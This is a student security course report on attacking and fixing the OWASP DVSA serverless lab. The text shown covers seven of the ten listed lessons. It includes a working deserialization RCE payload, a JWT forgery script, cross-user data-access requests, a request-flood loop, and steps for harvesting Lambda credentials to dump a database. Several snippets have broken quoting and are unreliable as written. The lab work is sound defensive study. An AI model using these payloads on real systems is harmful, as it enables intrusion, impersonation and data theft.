

DVSA Vulnerability Discovery and Remediation

ICS-344: Information Security — Course Project Report

Course / Section: ICS-344 — Term 252

Student Name: Abdullah Almarhoun

Student ID: 202017980

DVSA Website URL: <http://dvsa-website-abd-544719091426-us-east-1.s3-website.us-east-1.amazonaws.com/>

AWS Region: us-east-1

API Gateway Invoke URL:

<https://zeb7lgg5cl.execute-api.us-east-1.amazonaws.com/Stage>

Date: May 2026

Vulnerability Titles: All 10 Official DVSA Vulnerability Lessons

Project Overview

This report documents the deployment, exploitation, and remediation of the OWASP Damn Vulnerable Serverless Application (DVSA) hosted in a non-production AWS account. Each of the ten official lessons is presented with the same ten-part structure required by the project specification: summary, root cause, environment, reproduction, evidence, fix strategy, code changes, post-fix verification, structured analysis, and a short reflection.

The DVSA stack runs entirely on AWS — a static frontend on S3, request handling through API Gateway, business logic in Lambda functions, persistent state in DynamoDB and SQS, and authentication via Cognito. Most of the vulnerabilities below are not isolated coding bugs; they emerge from how these services trust each other and from how identity and permissions flow between them.

Table of Contents

1. Lesson 1 — Event Injection

2. Lesson 2 — Broken Authentication
 3. Lesson 3 — Sensitive Data Exposure
 4. Lesson 4 — Broken Access Control (IDOR)
 5. Lesson 5 — Security Misconfiguration
 6. Lesson 6 — Denial of Service
 7. Lesson 7 — Over-Privileged Functions
 8. Lesson 8 — Logic Vulnerabilities
 9. Lesson 9 — Vulnerable Dependencies
 10. Lesson 10 — Unhandled Exceptions
-

Lesson 1 — Event Injection

Part 1 — Goal and Vulnerability Summary

The DVSA order endpoint trusts incoming JSON bodies and runs them through a deserialization library that supports embedded JavaScript. By placing a self-invoking function inside the request, an attacker gets remote code execution inside the Lambda runtime. The affected component is the `DVSA-ORDER-MANAGER` function reached through `POST /Stage/order`. Impact is severe — the attacker runs code with the function's IAM role and can read environment variables, write to `/tmp`, and reach any AWS service the role permits.

Part 2 — Why This Works / Root Cause

The handler uses `node-serialize`, which interprets the marker `__$ND_FUNC$__` as a signal to deserialize a string into a JavaScript function. If that string ends with `()`, the function executes immediately during deserialization — before the rest of the application logic even runs. There is no schema check, no allowlist, and no sanitization on the way in.

Part 3 — Environment and Setup

- Endpoint: `https://zeb7lgg5cl.execute-api.us-east-1.amazonaws.com/Stage/order`
- Lambda: `DVSA-ORDER-MANAGER`
- Log group: `/aws/lambda/DVSA-ORDER-MANAGER`
- Tools: `curl`, AWS Console (CloudWatch)

Part 4 — Reproduction Steps

1. From AWS Console → API Gateway → DVSA API → Stages, copy the Invoke URL and append `/order`.
2. From a terminal, send the injection payload:

```
curl -X POST "https://zeb7lgg5cl.execute-api.us-east-1.amazonaws.com/Stage/order" \
-H "Content-Type: application/json" \
-d '{"action": "$__$ND_FUNC$__function(){ var fs=require("\\fs\\");
fs.writeFileSync("\\tmp/pwned.txt\\",\\"You are reading the contents of my hacked
file!\"); var d=fs.readFileSync("\\tmp/pwned.txt\\",\\"utf-8\\"); console.error\\"FILE READ
SUCCESS: \"+d); }()", "cart-id": ""}'
```

3. The HTTP response will return a generic 500 error. That's expected.

4. Open CloudWatch → `/aws/lambda/DVSA-ORDER-MANAGER` → newest stream and search for `FILE READ SUCCESS`.

Part 5 — Evidence and Proof

The CloudWatch log stream contains the line:

```
FILE READ SUCCESS: You are reading the contents of my hacked file!
```

This line was produced by the injected code, not by the application's normal logic. The 500 error is a side effect of the Lambda crashing later in the request flow — the malicious code already executed by then.

Screenshot: `screenshots/L1_cloudwatch_rce_proof.png`

Part 6 — Fix Strategy / Probable Mitigation

Stop using `node-serialize` for any user-controlled input. Switch to `JSON.parse()` and validate `action` against an allowlist. The fix sits in the request entry path, before any business logic runs.

Part 7 — Code / Config Changes

See `fixes/L1_event_injection_fix.js`. The core change replaces the deserialization call with strict JSON parsing plus an allowlist:

```
let body;
try {
  body = JSON.parse(event.body);
} catch (e) {
  return callback(null, resp(400, { status: "err", msg: "invalid request body" }));
}

const ALLOWED_ACTIONS = ["new", "orders", "get", "shipping", "billing", "cancel"];
if (!ALLOWED_ACTIONS.includes(body.action)) {
  return callback(null, resp(400, { status: "err", msg: "unknown action" }));
}
```

Also remove `node-serialize` from `package.json` and redeploy.

Part 8 — Verification After Fix

The same payload now returns `400 invalid request body` (or `unknown action`). CloudWatch shows no `FILE READ SUCCESS` line. Legitimate requests like `{"action": "orders"}` still work normally.

Part 9 — Structured Analysis

Table A

Vulnerability	Intended Rule(s)	Artifacts Used	Normal Behavior	Exploit Behavior
Event Injection	The <code>/order</code> endpoint must only accept JSON with a whitelisted <code>action</code> . User input must never be evaluated as code.	API request body, <code>order-manager.js</code> , CloudWatch logs	Valid <code>{"action": "new"}</code> is accepted and processed	Payload with <code>__\$ND_FUNC__\$</code> produces <code>FILE READ SUCCESS</code> log entry

Table B

Vulnerability	Why This Is a Deviation	Class	Fix Location	Post-Fix Verification	Latency
Event Injection	Backend accepted attacker-supplied JS as code, violating the contract that input is data, not code	Intentional misuse	<code>order-manager.js</code> request entry path	Payload returns 400; no injection log	~720 ms / ~85 ms

Part 10 — Takeaway

In serverless, “the server” is just a function with cloud credentials. RCE inside a Lambda is not contained — it leaks straight into the IAM role. The fix isn’t clever; it’s discipline: parse safely, validate strictly, and never let a deserializer evaluate strings.

Lesson 2 — Broken Authentication (JWT Forgery)

Part 1 — Goal and Vulnerability Summary

The order API uses JWTs to identify users, but the backend never verifies the token signature. It simply base64-decodes the payload and trusts whatever `username` and `sub` claims it finds. By keeping the original signature and editing the payload, any authenticated user can impersonate another user and read their orders.

Part 2 — Why This Works / Root Cause

A JWT is `header.payload.signature`. The signature exists to prove the payload hasn't been tampered with. DVSA skips the verification step — it splits the token, decodes the middle section, and uses `token.username` directly. With no integrity check, the signature might as well not be there.

Part 3 — Environment and Setup

- Endpoint: `https://zeb7lgg5cl.execute-api.us-east-1.amazonaws.com/Stage/order`
- Lambda: `DVSA-ORDER-MANAGER`
- Two test accounts created: User B (attacker) and User C (victim), both with at least one order each
- Tools: browser DevTools, `curl`, `python3`, `jq`

Part 4 — Reproduction Steps

Step 1 — Capture both tokens from DevTools.

Log in as User B → click Orders → F12 → Network tab → Fetch/XHR → click an order request → copy the `Authorization` header. Repeat for User C.

```
export API="https://zeb7lgg5cl.execute-api.us-east-1.amazonaws.com/Stage/order"
export TOKEN_B="<paste User B token>"
export TOKEN_C="<paste User C token>"
```

Step 2 — Decode both payloads to learn the victim's identity.

```
python3 - <<'PY'
import os, json, base64
```

```
def decode(t):
    p = t.split(".")[1]
    p += "=" * (-len(p) % 4)
    return json.loads(base64.urlsafe_b64decode(p.encode()))
for name in ["TOKEN_B", "TOKEN_C"]:
    data = decode(os.environ[name])
    print(f"\n{name}\nusername: {data.get('username')}\nsub      : {data.get('sub')}")
PY

export VICTIM_USER="<User C username/sub from above>"
```

Step 3 — Confirm normal behavior.

```
curl -s "$API" -H "content-type: application/json" -H "authorization: $TOKEN_B" \
  --data-raw '{"action":"orders"}' | jq
```

Only User B's orders should appear here.

Step 4 — Forge a token by editing the payload.

```
export FAKE_AS_C="$(python3 - <<'PY'
import os, json, base64
t = os.environ["TOKEN_B"]
victim = os.environ["VICTIM_USER"]
h, p, s = t.split(".")
p += "=" * (-len(p) % 4)
data = json.loads(base64.urlsafe_b64decode(p.encode()))
data["username"] = victim
data["sub"] = victim
new_p = base64.urlsafe_b64encode(json.dumps(data,
separators=(",", ":")).encode()).rstrip(b="").decode()
print(f"{h}.{new_p}.{s}")
PY
)"
```

Step 5 — Use the forged token to read the victim's order list.

```
curl -s "$API" -H "content-type: application/json" -H "authorization: $FAKE_AS_C" \
  --data-raw '{"action":"orders"}' | jq
```

Step 6 — Pull a specific order.

```
export ORDER_C="<one order-id from above>"
curl -s "$API" -H "content-type: application/json" -H "authorization: $FAKE_AS_C" \
  --data-raw '{"action":"get","order-id":"$ORDER_C"}' | jq
```

Part 5 — Evidence and Proof

The Step 5 response contains User C's orders, not User B's. The forged token has the same header and signature as User B's original — only the middle segment differs. The backend still accepts it, which proves no signature verification is happening.

Screenshot: [screenshots/L2_forged_token_victim_orders.png](#)

Part 6 — Fix Strategy / Probable Mitigation

Verify the JWT signature against the Cognito JWKS public keys before trusting any claim. Validate `iss` (issuer), `exp` (expiration), and `token_use`. Reject anything that fails. The fix lives in the API entry path of `order-manager.js`.

Part 7 — Code / Config Changes

See `fixes/L2_jwt_verification_fix.js` for the full patch. Three pieces:

1. Helper functions to fetch the Cognito JWKS, cache it, and verify a JWT.
2. Replace the vulnerable decode-and-trust block with a `verifyCognitoJwt(jwt).then(...)` chain.
3. A `.catch()` at the end of the handler that returns `401 invalid token` for anything that fails verification.

Part 8 — Verification After Fix

```
curl -s "$API" -H "content-type: application/json" -H "authorization: $FAKE_AS_C" \
--data-raw '{"action":"orders"}' | jq
```

Returns:

```
{ "status": "err", "msg": "invalid token" }
```

A genuine token from a logged-in user still works and returns only that user's orders.

Screenshot: [screenshots/L2_fix_forged_token_rejected.png](#)

Part 9 — Structured Analysis

Table A

Vulnerability	Intended Rule(s)	Artifacts Used	Normal Behavior	Exploit Behavior
Broken Authentication	Identity may only be derived from a cryptographically verified JWT. User B must not access User C's orders.	Browser flow, captured <code>/order</code> request, JWT structure, exploit response, <code>order-manager.js</code>	<code>TOKEN_B</code> returns only User B's orders	Forged token with edited payload returns User

Vulnerability	Intended Rule(s)	Artifacts Used	Normal Behavior	Exploit Behavior
				C's order list

Table B

Vulnerability	Why This Is a Deviation	Class	Fix Location	Post-Fix Verification	Latency
Broken Authentication	Backend trusted unverified identity claims, allowing impersonation	Intentional misuse	JWT verification in <code>order-manager.js</code> using Cognito JWKS	Forged token returns 401; legit token still works	~120 ms / ~128 ms

Part 10 — Takeaway

A JWT without signature verification is just a base64 cookie with extra steps. Either you verify it cryptographically or you have no authentication at all — there is no middle ground. Every Lambda that bases authorization on token contents needs to call a verify function, not a decode function.



Lesson 3 — Sensitive Data Exposure

Part 1 — Goal and Vulnerability Summary

DVSA exposes a receipt-fetching endpoint that hands back presigned S3 URLs to download order receipts. The handler does not verify that the requester actually owns the order they're asking about. Any authenticated user with a valid JWT can request a receipt for someone else's order ID and get a working download link.

Part 2 — Why This Works / Root Cause

The receipt Lambda takes the `order-id` from the request body, builds an S3 object key from it, and signs a URL — all without comparing the order's stored owner against the caller's identity. Authentication is checked (you need a valid token) but authorization on the resource is missing.

Part 3 — Environment and Setup

- Endpoint: `https://zeb7lgg5cl.execute-api.us-east-1.amazonaws.com/Stage/order`
- Lambda: `DVSA-ADMIN-GET-RECEIPT`
- S3 bucket: `dvsa-receipts-*` (visible from S3 Console)
- Tools: `curl`, `jq`, browser
- Prereq: `TOKEN_B` and an `order-id` belonging to User C (from Lesson 2)

Part 4 — Reproduction Steps

1. With User B logged in and `TOKEN_B` exported, request a receipt for User C's order:

```
curl -s "$API" -H "content-type: application/json" -H "authorization: $TOKEN_B" \
--data-raw '{"action":"get-receipt","order-id":"$ORDER_C"}' | jq
```

2. Copy the `url` field from the response.
3. Open it in a browser. The receipt PDF for User C downloads.

Part 5 — Evidence and Proof

The response contains a presigned URL that opens to a valid PDF showing User C's receipt — name, address, items, total. User B never owned that order.

Screenshot: [screenshots/L3_receipt_url_unauthorized.png](#)

Part 6 — Fix Strategy / Probable Mitigation

Before signing the URL, look up the order in DynamoDB. Compare the stored `userId` against the verified JWT's `sub`. If they don't match (and the caller isn't an admin), return 403.

Part 7 — Code / Config Changes

See [fixes/L3_receipt_ownership_fix.js](#). Inserts an ownership check between the order lookup and the URL signing step.

Part 8 — Verification After Fix

The same cross-user request now returns:

```
{ "status": "err", "msg": "access denied" }
```

User B can still fetch their own receipts normally.

Screenshot: [screenshots/L3_fix_receipt_denied.png](#)

Part 9 — Structured Analysis

Table A

Vulnerability	Intended Rule(s)	Artifacts Used	Normal Behavior	Exploit Behavior
Sensitive Data Exposure	Receipt URLs may only be issued to the order owner or an admin	API request, DynamoDB order record, JWT claims, <code>DVSA-ADMIN-GET-RECEIPT</code>	Own-order receipt request returns own receipt URL	Cross-user request returns a working URL to victim's receipt

Table B

Vulnerability	Why This Is a Deviation	Class	Fix Location	Post-Fix Verification	Latency
Sensitive Data	Function signed an	Intentional misuse	Ownership check in <code>DVSA-ADMIN-GET-</code>	Cross-user request	—

Vulnerability	Why This Is a Deviation	Class	Fix Location	Post-Fix Verification	Latency
Exposure	S3 URL for someone else's data with no ownership check		RECEIPT	returns 403; own-user request still works	

Part 10 — Takeaway

Presigned URLs are a sharp tool. They make the bucket policy irrelevant for whoever holds the URL — which is great when access control is enforced on the way in, and terrible when it isn't. Every signing step needs an authorization check directly above it.

Lesson 4 — Broken Access Control (IDOR)

Part 1 — Goal and Vulnerability Summary

The same trust gap appears in the `get` action of the order API itself. Pass any `order-id` and the function looks it up in DynamoDB and returns the row — no check that the caller owns the order. This is classic IDOR: knowing the identifier is enough to access the resource.

Part 2 — Why This Works / Root Cause

The handler reads the `order-id` from the body, calls `dynamoDB.get()` against the orders table, and ships the result back. The DynamoDB record contains a `userId` field, but the code never compares it against the authenticated user.

Part 3 — Environment and Setup

- Endpoint: `https://zeb7lgg5cl.execute-api.us-east-1.amazonaws.com/Stage/order`
- Lambda: `DVSA-ORDER-MANAGER`
- Tools: `curl`, `jq`
- Prereq: `TOKEN_B`, `ORDER_C`

Part 4 — Reproduction Steps

```
curl -s "$API" -H "content-type: application/json" -H "authorization: $TOKEN_B" \
--data-raw '{"action\":\"get\",\"order-id\":\"$ORDER_C\"}' | jq
```

Note that this uses User B's *real* token — no forgery needed. The vulnerability is independent of Lesson 2.

Part 5 — Evidence and Proof

The response contains User C's order details: items, total, date, address, status. User B's token had no access to this order in any logical sense, but the API returned it anyway.

Screenshot: `screenshots/L4_idor_order_details.png`

Part 6 — Fix Strategy / Probable Mitigation

After the DynamoDB lookup, compare the stored `userId` against the JWT-verified caller. Mismatch → 403. Admins are exempt.

Part 7 — Code / Config Changes

See `fixes/L4_idor_ownership_fix.js`.

Part 8 — Verification After Fix

The same `get` request now returns `403 access denied`. Fetching User B's own order still works.

Screenshot: `screenshots/L4_fix_idor_denied.png`

Part 9 — Structured Analysis

Table A

Vulnerability	Intended Rule(s)	Artifacts Used	Normal Behavior	Exploit Behavior
Broken Access Control (IDOR)	A user may only fetch orders that belong to their own account	DynamoDB schema, JWT claims, request/response, <code>order-manager.js</code>	User B fetches their own orders	User B fetches User C's order with their own legitimate JWT

Table B

Vulnerability	Why This Is a Deviation	Class	Fix Location	Post-Fix Verification	Latency
IDOR	Backend returned a record without checking ownership	Intentional misuse	Ownership check in <code>order-manager.js</code> <code>get</code> action	Cross-user <code>get</code> returns 403; own- <code>get</code> still works	—

Part 10 — Takeaway

Authorization is two layers, not one. Authentication asks “who are you”; authorization asks “are you allowed to touch this specific thing”. Skipping the second layer is the source of more breaches than weak passwords.

Lesson 5 — Security Misconfiguration

Part 1 — Goal and Vulnerability Summary

When a DVSA Lambda hits an unhandled error, the response body leaks raw exception details — file paths under `/var/task/`, line numbers, library names, and partial stack traces. This information helps attackers map the internal layout and tailor follow-up attacks.

Part 2 — Why This Works / Root Cause

There is no top-level try/catch wrapper around the handler logic. When an exception escapes, API Gateway includes the error message in the response. This is also a logging/observability misconfiguration — the wrong audience (the client) is getting the developer's debug data.

Part 3 — Environment and Setup

- Endpoint: `https://zeb7lgg5cl.execute-api.us-east-1.amazonaws.com/Stage/order`
- Tools: `curl`, `jq`

Part 4 — Reproduction Steps

Trigger an exception with a missing field:

```
curl -s "https://zeb7lgg5cl.execute-api.us-east-1.amazonaws.com/Stage/order" \
-H "Content-Type: application/json" \
-d '{"action":"get"}' | jq
```

Or send broken JSON:

```
curl -s "https://zeb7lgg5cl.execute-api.us-east-1.amazonaws.com/Stage/order" \
-H "Content-Type: application/json" \
-d 'not json' | jq
```

Part 5 — Evidence and Proof

The response body contains lines like: `- TypeError: Cannot read properties of undefined - at /var/task/order-manager.js:N` - references to internal helper modules

Screenshot: `screenshots/L5_verbose_error_disclosure.png`

Part 6 — Fix Strategy / Probable Mitigation

Wrap the handler in a try/catch. On error, log the full exception to CloudWatch and return a generic 500 with no internal detail to the client.

Part 7 — Code / Config Changes

See `fixes/L5_error_handling_fix.js` — the standard handler wrapper pattern.

Part 8 — Verification After Fix

The same malformed requests now return:

```
{ "status": "err", "msg": "service error" }
```

CloudWatch still has the full trace for debugging.

Screenshot: `screenshots/L5_fix_generic_error.png`

Part 9 — Structured Analysis

Table A

Vulnerability	Intended Rule(s)	Artifacts Used	Normal Behavior	Exploit Behavior
Security Misconfiguration	API responses may only contain client-safe messages; stack traces stay in CloudWatch	API responses, CloudWatch logs, Lambda source	Valid request returns structured JSON	Malformed request leaks <code>/var/task/...</code> paths and stack frames

Table B

Vulnerability	Why This Is a Deviation	Class	Fix Location	Post-Fix Verification	Latency
Verbose Error Disclosure	Internal details flowed to the wrong audience (clients instead of logs)	Accidental misconfiguration	Top-level try/catch in handler	Malformed request returns generic 500; no trace leaks	—

Part 10 — Takeaway

Errors are an attack surface. Verbose exceptions help developers and attackers in equal measure — and only one of them is supposed to be reading the response.

Lesson 6 — Denial of Service

Part 1 — Goal and Vulnerability Summary

The billing endpoint has no rate limiting, no per-user throttling, and no reserved concurrency. A small flood of parallel billing requests from one source can saturate Lambda concurrency and lock other users out of checkout.

Part 2 — Why This Works / Root Cause

Lambda autoscales but has account- and region-level concurrency limits. API Gateway throttles can soften this but only if configured. DVSA ships with default settings and no abuse protection at either layer.

Part 3 — Environment and Setup

- Endpoint: `https://zeb7lgg5cl.execute-api.us-east-1.amazonaws.com/Stage/order`
- Tools: bash loop, `curl`
- Prereq: a valid `TOKEN_B` and an order with shipping already added

Part 4 — Reproduction Steps

1. Create an order and add shipping (so it's ready for billing):

```
curl -s "$API" -H "content-type: application/json" -H "authorization: $TOKEN_B" \
  --data-raw '{"action":"new","cart-id":"dos-001","items":{"product-001":1}}' | jq
export ORDER_DOS=<id from response>

curl -s "$API" -H "content-type: application/json" -H "authorization: $TOKEN_B" \
  --data-raw '{"action":"shipping","order-id":"$ORDER_DOS","data":{
  "address":"x","email":"a@b.c","name":"x"}}' | jq
```

2. Flood the billing endpoint:

```
for i in $(seq 1 50); do
  curl -s "$API" -H "content-type: application/json" -H "authorization: $TOKEN_B" \
    --data-raw '{"action":"billing","order-id":"$ORDER_DOS","data":{
    "ccn":"4242424242424242","exp":"12/26","cvv":"123"}}' &
done
wait
```

3. From a second terminal, attempt a normal billing request — observe throttle errors.

Part 5 — Evidence and Proof

A portion of the flood requests return `TooManyRequestsException` or 429 errors. CloudWatch metrics for the billing Lambda show concurrent executions hitting the limit.

Screenshot: [screenshots/L6_dos_throttle_errors.png](#)

Part 6 — Fix Strategy / Probable Mitigation

Apply two layers: reserved concurrency on the billing Lambda (so it can't be drained beyond a known cap) and rate limiting at API Gateway (so the flood is rejected before it ever reaches Lambda).

Part 7 — Code / Config Changes

Configuration-only:

- Lambda → `DVSA-ORDER-MANAGER` → Configuration → Concurrency → Reserve **10** concurrent executions
- API Gateway → Stage `Stage` → Method-level throttling → rate **10/sec**, burst **20**

See [fixes/L6_dos_throttle_config.json](#) for the API Gateway throttle JSON.

Part 8 — Verification After Fix

The flood now produces mostly 429s, quickly. A single legitimate billing request from another user still completes within normal time.

Screenshot: [screenshots/L6_fix_throttle_applied.png](#)

Part 9 — Structured Analysis

Table A

Vulnerability	Intended Rule(s)	Artifacts Used	Normal Behavior	Exploit Behavior
Denial of Service	Billing must remain available under concurrent load; no single user can exhaust capacity	CloudWatch metrics, Lambda concurrency settings, API Gateway logs	Single billing request succeeds in normal time	50 concurrent requests cause throttle errors for other users

Table B

Vulnerability	Why This Is a Deviation	Class	Fix Location	Post-Fix Verification	Latency
DoS / Resource Exhaustion	Absence of throttling allowed one source to drain Lambda concurrency	Intentional misuse	Reserved concurrency + API Gateway throttle	Flood returns 429s; legitimate request still succeeds	—

Part 10 — Takeaway

Availability is a security property. Auto-scaling without throttles isn't resilience — it's an attack amplifier paid for in your AWS bill.

Lesson 7 — Over-Privileged Functions

Part 1 — Goal and Vulnerability Summary

The `DVSA-SEND-RECEIPT-EMAIL` Lambda has an execution role with wildcard S3 access (`arn:aws:s3::*`), wildcard DynamoDB access (`table/*`), and `AmazonSESFullAccess`. Its actual job is to read a receipt object from one bucket and send one email. If this function is ever compromised, the attacker inherits permissions across the entire account.

Part 2 — Why This Works / Root Cause

Least privilege was not enforced when the role was authored. Wildcard resources were used either for convenience or copied from a generic template. AWS Lambda hands the role's temporary credentials to anything running inside the function — so once code executes there, those permissions are transparent.

Part 3 — Environment and Setup

- Lambda: `DVSA-SEND-RECEIPT-EMAIL`
- Role: `serverlessrepo-0WASP-DVSA-SendReceiptFunctionRole-...`
- Tools: AWS Console (IAM Policy Simulator, CloudTrail), AWS CLI

Part 4 — Reproduction Steps

Step 1 — Inspect the role.

IAM → Roles → search “SendReceiptFunctionRole” → Permissions tab. Note the attached policies and the wildcard resources inside the inline policies.

Step 2 — Confirm blast radius with Policy Simulator.

IAM → Tools → Policy Simulator → switch to Roles → select the receipt role.

For S3: select `s3:GetObject`, `s3:PutObject`, test against `arn:aws:s3::some-other-bucket/key`. Both return **Allowed**.

For DynamoDB: select `dynamodb:Scan`, `GetItem`, `PutItem`, `DeleteItem`, test against `arn:aws:dynamodb:us-east-1:544719091426:table/unrelated-table`. All return **Allowed**.

Step 3 — Compare against actual usage with CloudTrail.

CloudTrail → create a trail (e.g., `dvsa-policygen-trail`) → trigger the function by placing an order → wait for invocation → IAM → Roles → Generate policy → select the trail and the receipt role → time period: Last 1 day.

The generated policy lists what the role *actually used*: `logs:CreateLogStream`, `kms:Decrypt`, `sts:GetCallerIdentity`. No S3, no DynamoDB, no SES wildcards.

Step 4 (optional) — Simulate post-compromise impact.

In the function code, add `print(dict(os.environ))` at the top of `lambda_handler` and deploy. Trigger it, then read CloudWatch — the temporary STS credentials appear in the log. Export them locally and run:

```
aws dynamodb scan --table-name DVSA-ORDERS-DB --region us-east-1
```

Every order in the table dumps to the terminal — proving how far a compromise reaches.

Part 5 — Evidence and Proof

Three signals together: 1. Policy Simulator shows broad Allow results on unrelated resources. 2. CloudTrail-based policy generation shows the real usage is tiny. 3. The optional `dynamodb:scan` from outside the function succeeds with the harvested credentials.

Screenshot: `screenshots/L7_iam_simulator_overprivileged.png`

Part 6 — Fix Strategy / Probable Mitigation

Replace the existing custom policies with a least-privilege policy that scopes S3 to the receipts bucket prefix, DynamoDB to the specific tables actually used, and SES to `SendEmail/SendRawEmail` only. Drop `AmazonSESFullAccess`.

Part 7 — Code / Config Changes

See `fixes/L7_least_privilege_policy.json`.

Part 8 — Verification After Fix

Re-run Policy Simulator with the new policy attached. `s3:GetObject` on a different bucket → **Denied**. `dynamodb:Scan` on `DVSA-ORDERS-DB` from this role → **Denied**. Place a normal order — receipt email still arrives.

Screenshot: `screenshots/L7_fix_iam_least_privilege.png`

Part 9 — Structured Analysis

Table A

Vulnerability	Intended Rule(s)	Artifacts Used	Normal Behavior	Exploit Behavior
Over-Privileged Function	The receipt role may only allow what's needed to send a receipt email	IAM role, Policy Simulator, CloudTrail-derived policy, Lambda env vars	Generated-policy result is small (logs, KMS, STS)	Simulator shows full S3/DynamoDB/SES wildcard reach

Table B

Vulnerability	Why This Is a Deviation	Class	Fix Location	Post-Fix Verification	Latency
Over-Privileged IAM	Wildcard permissions turned a small function into a full-account compromise risk	Accidental misconfiguration	Replaced inline policies with scoped least-privilege policy	Simulator shows Denied for unrelated resources; receipt flow still works	—

Part 10 — Takeaway

In serverless, the function's IAM role *is* the security boundary. There's no OS to lock down, no network segment to firewall — just IAM. A wildcard resource in a Lambda role is the same risk as `chmod 777` on a server, and just as easy to fix.
